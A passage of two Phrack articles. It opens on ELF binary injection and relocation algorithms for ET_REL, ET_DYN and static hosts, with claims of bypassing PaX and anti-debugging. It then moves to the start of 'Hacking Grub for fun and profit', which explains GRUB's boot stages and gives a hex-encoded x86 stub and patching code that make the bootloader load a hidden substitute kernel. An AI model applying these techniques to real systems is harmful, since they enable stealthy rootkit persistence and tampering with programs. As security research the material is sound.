=>Loadable seg [19] 0x80C4000 ‑> 0x80C5000 rwx memsz(004096) foff(577536) =>Loadable seg [20] 0x80C5000 ‑> 0x80C6000 rwx memsz(004096) foff(581632) =>Loadable seg [21] 0x80C6000 ‑> 0x80C7000 rwx memsz(004096) foff(585728) =>Loadable seg

[SHT correlation]

[Object ./fake_aout]

[*] SHT is not stripped

[00] PT_LOAD .note.ABI‑tag .init .text __libc_freeres_fn .fini .rodata __libc_atexit __libc_subfreeres .eh_frame [01] PT_LOAD .ctors .dtors .jcr .data.rel.ro .got .got.plt .data

.bss __libc_freeres_ptrs

[02] PT_NOTE .note.ABI‑tag

[03] PT_GNU_STACK

[04] PT_PAX_FLAGS

[05] PT_LOAD rel2.o.bss

[06] PT_LOAD rel2.o.text

[07] PT_LOAD rel2.o.data

[08] PT_LOAD rel2.o.rodata

[09] PT_LOAD .elfsh.hooks

[10] PT_LOAD libc/printf.o.bss

[11] PT_LOAD libc/printf.o.text

[12] PT_LOAD libc/gethostname.o.bss

[13] PT_LOAD libc/gethostname.o.text

[14] PT_LOAD libc/perror.o.bss

[15] PT_LOAD libc/perror.o.text

[16] PT_LOAD libc/perror.o.rodata.str1.1

[17] PT_LOAD libc/perror.o.rodata.str4.4

[18] PT_LOAD libc/dup.o.bss

[19] PT_LOAD libc/dup.o.text

[20] PT_LOAD libc/iofdopen.o.bss |.comment

[21] PT_LOAD libc/iofdopen.o.text

[*] Object ./fake_aout unloaded

========= END DUMP 42 =========

We can notice the ET_REL really injected : printf.o@libc, dup.o@libc, gethostname.o@libc, perror.o@libc and iofdopen.o@libc.

Each injected file create several PT_LOAD segments. For this example it is okay, but for injecting E2dbg that is really too much.

This technique will be improved as soon as possible by reusing PT_LOAD entry when this is possible.

‑‑‑‑[ D. Architecture independant algorithms

In this part, we give all the architecture independent algorithms that were developed for the new residency techniques in memory, ET_DYN libraries, or static executables.

The new generic ET_REL injection algorithm is not that different from the one presented in the first Cerberus Interface article [0], that is why we only give it again in its short form. However, the new algorithm has improved in modularity and portability. We will detail some parts of the algorithm that were not explained in previous articles. The implementation mainly takes place in elfsh_inject_etrel() in the relinject.c file :

New generic relocation algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

1/ Inject ET_REL BSS after the HOST BSS in a dedicated section (new)

2/ FOREACH section in ET_REL object

[

IF [ Section is allocatable and Section is not BSS ]

[

‑ Inject section in Host file or memory

]

]

3/ Fuze ET_REL and host file symbol tables

4/ Relocate the ET_REL object (STAGE 1)

5/ At save time, relocate the ET_REL object (STAGE 2 for old symbols relocations)

We only had one relocation stage in the past. We had to use another one since not all requested symbols are available (like old symbols gained from CFLOW redirections that may happen after the ET_REL injection). For ondisk modifications, the second stage relocation is done at save time.

Some steps in this algorithm are quite straightforward, such as step 1 and step 3. They have been explained in the first Cerberus article [0], however the BSS algorithm has changed for compatibility with ET_DYN files and multiple ET_REL injections. Now the BSS is injected just as other sections, instead of adding a complex BSS zones algorithm for always keeping one bss in the program.

ET_DYN / ET_EXEC section injection algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Injection algorithm for DATA sections does not change between ET_EXEC and ET_DYN files. However, code sections injection slighly changed for supporting both binaries and libraries host files. Here is the new algorithm for this operation :

* Find executable PT_LOAD

* Fix injected section size for page size congruence

IF [ Hostfile is ET_EXEC ]

[

* Set injected section vaddr to lowest mapped section vaddr * Substract new section size to new section virtual address ]

ELSE IF [ Hostfile is ET_DYN ]

[

* Set injected section vaddr to lowest mapped section vaddr ]

* Extend code segment size by newly injected section size

IF [ Hostfile is ET_EXEC ]

[

* Substract injected section vaddr to executable PT_LOAD vaddr ]

FOREACH [ Entry in PHT ]

[

IF [ Segment is PT_PHDR and Hostfile is ET_EXEC ]

[

* Substract injected section size to segment p_vaddr / p_paddr ]

ELSE IF [ Segment stands after extended PT_LOAD ]

[

* Add injected section size to segment p_offset

IF [ Hostfile is ET_DYN ]

[

* Add injected section size to segment p_vaddr and p_paddr ]

]

]

IF [ Hostfile is ET_DYN ]

[

FOREACH [ Relocation entry in every relocation table ]

[

IF [ Relocation offset points after injected section ] [

* Shift relocation offset from injected section size ]

]

* Shift symbols from injected section size when pointing after it * Shift dynamic syms from injected section size (same condition) * Shift dynamic entries D_PTR's from injected section size

* Shift GOT entries from injected section size

* If existing, Shift ALTGOT entries from injected section size * Shift DTORS and CTORS the same way

* Shift the entry point in ELF header the same way

]

* Inject new SECTION symbol on injected code

Static ET_EXEC section injection algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This algorithm is used to insert sections inside static binaries. It can be found in libelfsh/inject.c in elfsh_insert_static_section() :

* Pad the injected section size to stay congruent to page size * Create a new PT_LOAD program header whoose bounds match the new section bounds.

* Insert new section using classical algorithm

* Insert new program header in PHT

Runtime section injection algorithm in memory

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This algorithm can be found in libelfsh/inject.c in the function elfsh_insert_runtime_section() :

* Create a new PT_LOAD program header

* Insert SHT entry for new runtime section

(so we keep a static map up‑to‑date)

* Insert new section using the classical algorithm * Insert new PT_LOAD in Runtime PHT table (RPHT) with same bounds

Runtime PHT is a new table that we introduced so that we can separate segments regulary mapped by the dynamic linker (original PHT segments) from runtime injected segments. This may lead to an easier algorithm for binary reconstruction from its memory image in the future.

We will detail now the core (high level) relocation algorithm as implemented in elfsh_relocate_object() and elfsh_relocate_etrel_section() functions in libelfsh/relinject.c . This code is common for all types of host files and for all relocation stages. It is used at STEP 4 of the general algorithm:

Core portable relocation algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This algorithm has never been explained in any paper. Here it is :

FOREACH Injected ET_REL sections inside the host file [

FOREACH relocation entry in ET_REL file

[

* Find needed symbol in ET_REL for this relocation

IF [ Symbol is COMMON or NOTYPE ]

[

* Find the corresponding symbol in Host file.

IF [ Symbol is NOT FOUND ]

[

IF [ symbol is OLD and RELOCSTAGE == 1 ]

[

* Delay relocation for it

]

ELSE

[

IF [ ET_REL symbol type is NOTYPE ]

[

* Request a new PLT entry and use its address for performing relocation (EXTPLT algorithm)

]

ELSE IF [ Host file is STATIC ]

[

* Perform EXTSTATIC technique (next algorithm)

]

ELSE

[

* Algorithm failed, return ERROR

]

]

]

ELSE

[

* Use host file's symbol value

]

]

ELSE

[

* Use injected section base address as symbol value

]

‑ Relocate entry (switch/case architecture dependant handler) ]

]

EXTSTATIC relocation extension algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In case the host file is a static file, we can try to get the unknown symbol from relocatables files from static libraries that are available on disk. An example of use of this EXTSTATIC technique is located in the testsuite/etrel_inject/ directory.

Here is the EXTSTATIC algorithm that comes at the specified place in the previous algorithm for providing the same functionality as EXTPLT but for static binaries :

FOREACH loaded ET_REL objects in ELFSH

[

IF [ Symbol is found anywhere in current analyzed ET_REL ] [

IF [ Found symbol is strongest than current result ] [

* Update best symbol result and associated ET_REL file ]

ELSE

[

* Discard current iteration result

]

]

]

* Inject the ET_REL dependency inside Host file

* Use newly injected symbol in hostfile as relocation symbol in core relocation algorithm.

Strongest symbol algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

When we have to choose between multiple symbols that have the same name in different objects (either during static or runtime injection), we use this simple algorithm to determine which one to use :

IF [ Current chosen symbol has STT_NOTYPE ]

[

* Symbol becomes temporary choice

]

ELSE IF [ Candidate symbol has STT_NOTYPE ]

[

* Symbol becomes temporary choice

]

ELSE IF [ Candidate symbol binding > Chosen symbol binding ] [

* Candidate symbol becomes Chosen symbol

]

‑‑‑‑‑‑‑[ VI. Past and present

In the past we have shown that ET_REL injection into non‑relocatable ET_EXEC object is possible. This paper presented multiple extensions and ports to this residency technique (ET_DYN and static executables target). Coupled to the EXTPLT technique that allow for a complete post‑linking of the host file, we can add function definitions and use unknown functions in the software extension. All those static injection techniques worse when all PaX options are enabled on the modified binary. Of course, the position independant and stack smashing protection features of hardened Gentoo does not protect anything when it comes to binary manipulation, either performed on disk or at runtime.

We have also shown that it is possible to debug without using the ptrace system call, which open the door for new reverse engineering and embedded debugging methodology that bypass known anti‑debugging techniques. The embedded debugger is not completely PaX proof and it is still necessary to disable the mprotect flag. Even if it does not sound like a real problem, we are still investigating on how to put breakpoints (e.g. redirections) without disabling it.

Our core techniques are portable to many architectures (x86, alpha, mips, sparc) on both 32bits and 64bits files. However our proof of concept debugger was done for x86 only. We believe that our techniques are portable enough to be able to provide the debugger for other architectures without much troubles.

Share and enjoy the framework, contributions are welcome.

‑‑‑‑‑‑‑[ VII. Greetings

We thank all the peoples at the WhatTheHack party 2005 in Netherlands. We add much fun with you guys and again we will come in the future.

Special thanks go to andrewg for teaching us the sigaction technique, dvorak for his interest in the optimization on the the ALTPLT technique version 2 for the SPARC architecture, sk for libasm, and solar for providing us the ET_DYN pie/ssp testsuite.

Respects go to Devhell Labs, the PaX team, Phrackstaff, GOBBLES, MMHS, ADM, and Synnergy Networks. Final shoutouts to s/ash from RTC for driving us to WTH and the Coconut Crew for everything and the rest, you know who you are.

‑‑‑‑‑‑‑[ VIII. References

[0] The Cerberus ELF Interfacemayhem http://www.phrack.org/show.php?p=61&a=8

[1] The GNU debuggerGNU project http://www.gnu.org/software/gdb/

[2] PaX / grsecurityThe PaX team http://pax.grsecurity.net/

[3] binary reconstruction from a core imageSilvio Cesare http://vx.netlux.org/lib/vsc03.html

[4] Antiforensic evolution: SelfRipe & Pluf http://www.phrack.org/show.php?p=63&a=11

[5] Next‑Gen. Runtime binary encryptionZeljko Vbra http://www.phrack.org/show.php?p=63&a=13

[6] FenrisMichal Zalewski http://lcamtuf.coredump.cx/fenris/

[7] LtraceLtrace team http://freshmeat.net/projects/ltrace/

[8] The dude (replacement to ptrace)Mammon http://www.eccentrix.com/members/mammon/Text/d\

ude_paper.txt

[9] Binary protection schemesAndrewg http://www.codebreakers‑journal.com/viewar\

ticle.php?id=51&layout=abstract

[10] ET_REL injection in memoryJP http://www.whatever.org.ar/~cuco/MERCANO.TXT

[11] Hardened Gentoo projectHardened team http://www.gentoo.org/proj/en/hardened/

[12] Unpacking by Code InjectionEduardo Labir http://www.codebreakers‑journal.com/viewart\

icle.php?id=36&layout=abstract

Hacking Grub for Fun & Profit

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0a of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Hacking Grub for fun and profit ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ CoolQ <qufuping@ercist.iscas.ac.cn> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

0.0 ‑ Trojan/backdoor/rootkit review

1.0 ‑ Boot process with Grub

1.1 How does Grub work ?

1.2 stage1

1.3 stage1.5 & stage2

1.4 Grub util

2.0 ‑ Possibility to load specified file

3.0 ‑ Hacking techniques

3.1 How to load file_fake

3.2 How to locate ext2fs_dir

3.3 How to hack grub

3.4 How to make things sneaky

4.0 ‑ Usage

5.0 ‑ Detection

6.0 ‑ At the end

7.0 ‑ Ref

8.0 ‑ hack_grub.tar.gz

‑‑[ 0.0 ‑ Trojan/backdoor/rootkits review

Since 1989 when the first log‑editing tool appeared(Phrack 0x19 #6 Hiding out under Unix), the trojan/backdoor/rootkit have evolved greatly. From the early user‑mode tools such as LRK4/5, to kernel‑mode ones such as knark/adore/adore‑ng, then appears SuckIT, module‑injection, nowadays even static kernel‑patching.

Think carefully, what remains untouched? Yes, that's bootloader. So, in this paper, I present a way to make Grub follow your order, that is, it can load another kernel/initrd image/grub.conf despite the file you specify in grub.conf.

P.S.: This paper is based on Linux and EXT2/3 under x86 system.

‑‑[ 1.0 ‑ Boot process with Grub

‑‑‑‑[ 1.1 ‑ How does Grub work ?

+‑‑‑‑‑‑‑‑‑‑‑+

| boot,load |

| MBR |

+‑‑‑‑‑+‑‑‑‑‑+

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ NO

| Grub is in MBR +‑‑‑‑‑‑‑>‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+

Yes | stage1 +‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+

Yes +‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+ | jump to active |

+‑‑<‑‑‑+ stage1.5 config? | | partition |

| +‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+

| No | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+ | |

| load embedded | | stage1‑> | load boot |

| sectors | | | | sector |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+ V +‑‑‑‑‑+‑‑‑‑‑+

^ | | + ‑Cf 1.3

| | |

stage1.5 +‑‑‑‑‑‑‑‑>‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑>‑‑‑‑‑‑‑+ load stage2 +

+‑‑‑‑‑‑‑‑‑‑

V

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| load the grub.conf |

| display the boot menu |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

| User interaction

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+

| load kernel image |

| and boot |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

‑‑‑‑[ 1.2 ‑ stage1

stage1 is 512 Bytes, you can see its source code in stage1/stage1.S . It's installed in MBR or in boot sector of primary partition. The task is simple ‑ load a specified sector (defined in stage2_sector) to a specified address(defined in stage2_address/stage2_segment). If stage1.5 is configured, the first sector of stage1.5 is loaded at address 0200:000; if not, the first sector of stage2 is loaded at address 0800:0000.

‑‑‑‑[ 1.3 ‑ stage1.5 & stage2

We know Grub is file‑system‑sensitive loader, i.e. Grub can understand and read files from different file‑systems, without the help of OS. Then how? The secret is stage1.5 & stage2. Take a glance at /boot/grub, you'll find the following files:

stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5, reiserfs_stage1_5, ...

We've mentioned stage1 in 1.2, the file stage1 will be installed in MBR or in boot sector. So even if you delete file stage1, system boot are not affected.

What about zeroing file stage2 and *_stage1_5? Can system still boot? The answer is 'no' for the former and 'yes' for the latter. You're wondering about the reason? Then continue your reading...

Let's see how *_stage1_5 and stage2 are generated:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BEGIN ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

e2fs_stage1_5:

gcc ‑o e2fs_stage1_5.exec ‑nostdlib ‑Wl,‑N ‑Wl,‑Ttext ‑Wl,2000 e2fs_stage1_5_exec‑start.o e2fs_stage1_5_exec‑asm.o e2fs_stage1_5_exec‑common.o e2fs_stage1_5_exec‑char_io.o e2fs_stage1_5_exec‑disk_io.o e2fs_stage1_5_exec‑stage1_5.o e2fs_stage1_5_exec‑fsys_ext2fs.o e2fs_stage1_5_exec‑bios.o objcopy ‑O binary e2fs_stage1_5.exec e2fs_stage1_5

stage2:

gcc ‑o pre_stage2.exec ‑nostdlib ‑Wl,‑N ‑Wl,‑Ttext ‑Wl,8200 pre_stage2_exec‑asm.o pre_stage2_exec‑bios.o pre_stage2_exec‑boot.o pre_stage2_exec‑builtins.o pre_stage2_exec‑common.o pre_stage2_exec‑char_io.o pre_stage2_exec‑cmdline.o pre_stage2_exec‑disk_io.o pre_stage2_exec‑gunzip.o pre_stage2_exec‑fsys_ext2fs.o pre_stage2_exec‑fsys_fat.o pre_stage2_exec‑fsys_ffs.o pre_stage2_exec‑fsys_minix.o pre_stage2_exec‑fsys_reiserfs.o pre_stage2_exec‑fsys_vstafs.o pre_stage2_exec‑hercules.o pre_stage2_exec‑serial.o pre_stage2_exec‑smp‑imps.o pre_stage2_exec‑stage2.o pre_stage2_exec‑md5.o

objcopy ‑O binary pre_stage2.exec pre_stage2

cat start pre_stage2 > stage2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

According to the output above, the layout should be: e2fs_stage1_5:

[start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c] [fsys_ext2fs.c] [bios.c]

stage2:

[start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c] [cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c] [fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c] [hercules.c] [serial.c] [smp‑imps.c] [stage2.c] [md5.c]

We can see e2fs_stage1_5 and stage2 are similar. But e2fs_stage1_5 is smaller, which contains basic modules(disk io, string handling, system initialization, ext2/3 file system handling), while stage2 is all‑in‑one, which contains all file system modules, display, encryption, etc.

start.S is very important for Grub. stage1 will load start.S to 0200:0000(if stage1_5 is configured) or 0800:0000(if not), then jump to it. The task of start.S is simple(only 512Byte),it will load the rest parts of stage1_5 or stage2 to memory. The question is, since the file‑system related code hasn't been loaded, how can grub know the location of the rest sectors? start.S makes a trick:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BEGIN ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

blocklist_default_start:

.long 2/* this is the sector start parameter, in logical

sectors from the start of the disk, sector 0 */

blocklist_default_len:/* this is the number of sectors to read */

#ifdef STAGE1_5

.word 0/* the command "install" will fill this up */

#else

.word (STAGE2_SIZE + 511) >> 9

#endif

blocklist_default_seg:

#ifdef STAGE1_5

.word 0x220

#else

.word 0x820/* this is the segment of the starting address

to load the data into */

#endif

firstlist:/* this label has to be after the list data!!! */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ END ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

an example:

# hexdump ‑x ‑n 512 /boot/grub/stage2

...

00001d0 [ 0000 0000 0000 0000 ][ 0000 0000 0000 0000 ] 00001e0 [ 62c7 0026 0064 1600 ][ 62af 0026 0010 1400 ] 00001f0 [ 6287 0026 0020 1000 ][ 61d0 0026 003f 0820 ]

We should interpret(backwards) it as: load 0x3f sectors(start with No. 0x2661d0) to 0x0820:0000, load 0x20 sectors(start with No.0x266287) to 0x1000:0000, load 0x10 sectors(start with No.0x2662af) to 0x1400:00, load 0x64 sectors(start with No.0x2662c7) to 0x1600:0000.

In my distro, stage2 has 0xd4(1+0x3f+0x20+0x10+0x64) sectors, file size is 108328 bytes, the two matches well(sector size is 512).

When start.S finishes running, stage1_5/stage2 is fully loaded. start.S jumps to asm.S and continues to execute.

There still remains a problem, when is stage1.5 configured? In fact, stage1.5 is not necessary. Its task is to load /boot/grub/stage2 to memory. But pay attention, stage1.5 uses file system to load file stage2: It analyzes the dentry, gets stage2's inode, then stage2's blocklists. So if stage1.5 is configured, the stage2 is loaded via file system; if not, stage2 is loaded via both stage2_sector in stage1 and sector lists in start.S of stage2.

To make things clear, suppose the following scenario: (ext2/ext3) # mv /boot/grub/stage2 /boot/grub/stage2.bak

If stage1.5 is configured, the boot fails, stage1.5 can't find /boot/grub/stage2 in the file‑system. But if stage1.5 is not configured, the boot succeeds! That's because mv doesn't change stage2's physical layout, so stage2_sector remains the same, also the sector lists in stage2.

Now, stage1 (‑> stage1.5) ‑> stage2. Everything is in position. asm.S will switch to protected mode, open /boot/grub/grub.conf(or menu.lst), get configuration, display menus, and wait for user's interaction. After user chooses the kernel, grub loads the specified kernel image(sometimes ramdisk image also), then boots the kernel.

‑‑‑‑[ 1.4 ‑ Grub util

If your grub is overwritten by Windows, you can use grub util to reinstall grub.

# grub

‑‑‑

grub > find /grub/stage2 <‑ if you have boot partition or

grub > find /boot/grub/stage2 <‑ if you don't have boot partition ‑‑‑

(hd0,0) <= the result of 'find' grub > root (hd0,0) <‑ set root of boot partition ‑‑‑

grub > setup (hd0) <‑ if you want to install grub in mbr or

grub > setup (hd0,0) <‑ if you want to install grub in the

‑‑‑ boot sector

Checking if "/boot/grub/stage1" exists... yes

Checking if "/boot/grub/stage2" exists... yes

Checking if "/boot/grub/e2fs_stage1_t" exists... yes Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22 sectors are embedded succeeded. <= if you install grub in boot sector,

this fails

Running "install /boot/grub/stage1 d (hd0) (hd0)1+22 p (hd0,0)/boot/grub/stage2 /boot/grub/grub.conf"... succeeded Done

We can see grub util tries to embed stage1.5 if possible. If grub is installed in MBR, stage1.5 is located after MBR, 22 sectors in size. If grub is installed in boot sector, there's not enough space to embed stage1.5(superblock is at offset 0x400 for ext2/ext3 partition, only 0x200 for stage1.5), so the 'embed' command fails.

Refer to grub manual and source codes for more info.

‑‑[ 2.0 ‑ Possibility to load specified file

Grub has its own mini‑file‑system for ext2/3. It use grub_open(), grub_read() and grub_close() to open/read/close a file. Now, take a look at ext2fs_dir

/* preconditions: ext2fs_mount already executed, therefore supblk in buffer

* known as SUPERBLOCK

* returns: 0 if error, nonzero iff we were able to find the file * successfully

* postconditions: on a nonzero return, buffer known as INODE contains the * inode of the file we were trying to look up * side effects: messes up GROUP_DESC buffer area

*/

int ext2fs_dir (char *dirname) {

int current_ino = EXT2_ROOT_INO;/*start at the root */

int updir_ino = current_ino;/* the parent of the current directory */

...

}

Suppose the line in grub.conf is: kernel=/boot/vmlinuz‑2.6.11 ro root=/dev/hda1 grub_open calls ext2fs_dir("/boot/vmlinuz‑2.6.11 ro root=/dev/hda1"), ext2fs_dir puts the inode info in INODE, then grub_read can use INODE to get data of any offset(the map resides in INODE‑>i_blocks[] for direct blocks).

The internal of ext2fs_dir is:

1. /boot/vmlinuz‑2.6.11 ro root=/dev/hda1

^ inode = EXT2_ROOT_INO, put inode info in INODE; 2. /boot/vmlinuz‑2.6.11 ro root=/dev/hda1

^ find dentry in '/', then put the inode info of '/boot' in INODE; 3. /boot/vmlinuz‑2.6.11 ro root=/dev/hda1

^ find dentry in '/boot', then put the inode info of '/boot/vmlinuz‑2.6.11' in INODE;

4. /boot/vmlinuz‑2.6.11 ro root=/dev/hda1 ^ the pointer is space, INODE is regular file, returns 1(success), INODE contains info about '/boot/vmlinuz‑2.6.11'.

If we parasitize this code, and return inode info of file_fake, grub will happily load file_fake, considering it as /boot/vmlinuz‑2.6.11. We can do this:

1. /boot/vmlinuz‑2.6.11 ro root=/dev/hda1

^ inode = EXT2_ROOT_INO;

2. boot/vmlinuz‑2.6.11 ro root=/dev/hda1

^ change it to 0x0, change EXT2_ROOT_INO to inode of file_fake; 3. boot/vmlinuz‑2.6.11 ro root=/dev/hda1

^ EXT2_ROOT_INO(file_fake) info is in INODE, the pointer is 0x0, INODE is regular file, returns 1.

Since we change the argument of ext2fs_dir, does it have side‑effects? Don't forget the latter part "ro root=/dev/hda1", it's the parameter passed to kernel. Without it, the kernel won't boot correctly.

(P.S.: Just "cat/proc/cmdline" to see the parameter your kernel has.) So, let's check the internal of "kernel=..." kernel_func processes the "kernel=..." line

static int

kernel_func (char *arg, int flags)

{

...

/* Copy the command‑line to MB_CMDLINE. */

grub_memmove (mb_cmdline, arg, len + 1);

kernel_type = load_image (arg, mb_cmdline, suggested_type, load_flags); ...

}

See? The arg and mb_cmdline have 2 copies of string "/boot/vmlinuz‑2.6.11 ro root=/dev/hda1" (there is no overlap, so in fact, grub_memmove is the same as grub_memcpy). In load_image, you can find arg and mb_cmdline don't mix with each other. So, the conclusion is ‑ NO side‑effects. If you're not confident, you can add some codes to get things back.

‑‑[ 3.0 ‑ Hacking techniques

The hacking techniques should be general for all grub versions(exclude grub‑ng) shipped with all Linux distros.

‑‑‑‑[ 3.1 ‑ How to load file_fake

We can add a jump at the beginning of ext2fs_dir, then make the first character of ext2fs_dir's argument to 0, make "current_ino = EXT2_ROOT_INO" to "current_ino = INODE_OF_FAKE_FILE", then jump back. Attention: Only when certain condition is met can you load file_fake. e.g.: When system wants to open /boot/vmlinuz‑2.6.11, then /boot/file_fake is returned; while when system wants /boot/grub/grub.conf, the correct file should be returned. If the codes still return /boot/file_fake, oops, no menu display.

Jump is easy, but how to make "current_ino = INODE_OF_FAKE_FILE"? int ext2fs_dir (char *dirname) {

int current_ino = EXT2_ROOT_INO;/*start at the root */

int updir_ino = current_ino;/* the parent of the current directory */

...

EXT2_ROOT_INO is 2, so current_ino and updir_ino are initialized to 2. The correspondent assembly code should be like "movl $2, 0xffffXXXX($esp)" But keep in mind of optimization: both current_ino and updir_ino are assigned to 2, the optimized result can be "movl $2, 0xffffXXXX($esp)" and "movl $2, 0xffffYYYY($esp)", or "movl $2, %reg" then "movl %reg, 0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", or more variants. The type is int, value is 2, so the possibility of "xor %eax, %eax; inc %eax; inc %eax" is low, it's also the same to "xor %eax, %eax; movb $0x2, %al". What we need is to search 0x00000002 from ext2fs_dir to ext2fs_dir + depth(e.g.: 100 bytes), then change 0x00000002 to INODE_OF_FAKE_FILE.

static char ext2_embed_code[] = {

0x60,/* pusha*/

0x9c,/* pushf*/

0xeb, 0x28,/* jmp 4f*/

0x5f,/* 1: pop %edi*/

0x8b, 0xf,/* movl (%edi), %ecx*/

0x8b, 0x74, 0x24, 0x28,/* movl 40(%esp), %esi*/

0x83, 0xc7, 0x4,/* addl $4, %edi*/

0xf3, 0xa6,/* repz cmpsb %es:(%edi), %ds:(%esi)*/

0x83, 0xf9, 0x0,/* cmp $0, %ecx*/

0x74, 0x2,/* je 2f*/

0xeb, 0xe, /* jmp 3f*/

0x8b, 0x74, 0x24, 0x28,/* 2: movl 40(%esp), %esi*/

0xc6, 0x6, 0x00,/* movb $0x0, (%esi) '\0' */

0x9d,/* popf*/

0x61,/* popa*/

0xe9, 0x0, 0x0, 0x0, 0x0,/* jmp change_inode*/

0x9d,/* 3: popf*/

0x61,/* popa*/

0xe9, 0x0, 0x0, 0x0, 0x0,/* jmp not_change_inode*/

0xe8, 0xd3, 0xff, 0xff, 0xff,/* 4: call 1b*/

0x0, 0x0, 0x0, 0x0,/* kernel filename length*/

0x0, 0x0, 0x0, 0x0, 0x0, 0x0,/* filename string, 48B in all*/

0x0, 0x0, 0x0, 0x0, 0x0, 0x0,

0x0, 0x0, 0x0, 0x0, 0x0, 0x0,

0x0, 0x0, 0x0, 0x0, 0x0, 0x0,

0x0, 0x0, 0x0, 0x0, 0x0, 0x0,

0x0, 0x0, 0x0, 0x0, 0x0, 0x0,

0x0, 0x0, 0x0, 0x0, 0x0, 0x0,

0x0, 0x0, 0x0, 0x0, 0x0, 0x0

};

memcpy(buf_embed, ext2_embed_code, sizeof(ext2_embed_code)); Of course you can write your own string‑comparison algorithm.

/* embeded code, 2nd part, change_inode */

memcpy(buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end ‑ s_start); modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE();

/* embeded code, 3rd part, not_change_inode*/

memcpy(buf_embed + sizeof(ext2_embed_code) + (s_mov_end ‑ s_start) + 5, s_start, s_mov_end ‑ s_start);

The result is like this:

ext2fs_dir: not_change_inode:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

| push %esp <= jmp embed | | | push %esp |

| mov %esp, %ebp | | | mov %esp, %ebp |

| push %edi | | | push %edi |

| push %esi +‑‑‑‑‑‑‑‑< | push %esi |

| sub $0x42c, %esp | | | sub $0x42c, %esp | | mov $2, fffffbe4(%esp) | | | mov $2, fffffbe4(%esp) | | mov $2, fffffbe0(%esp) | | | mov $2, fffffbe0(%esp) |

|back: | | jmp back |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

embed: +‑‑‑‑‑‑‑‑>change_inode:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| save registers | | push %esp |

| compare strings | | mov %esp, %ebp |

| if match, goto 1 | | push %edi |

| if not, goto 2 | | push %esi |

| 1: restore registers | | sub $0x42c, %esp | | jmp change_inode | INODE_OF_ ‑> | mov $?, fffffbe4(%esp) | | 2: restore registers | FAKE_FILE ‑> | mov $?, fffffbe0(%esp) | | jmp not_change_inode | | jmp back |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

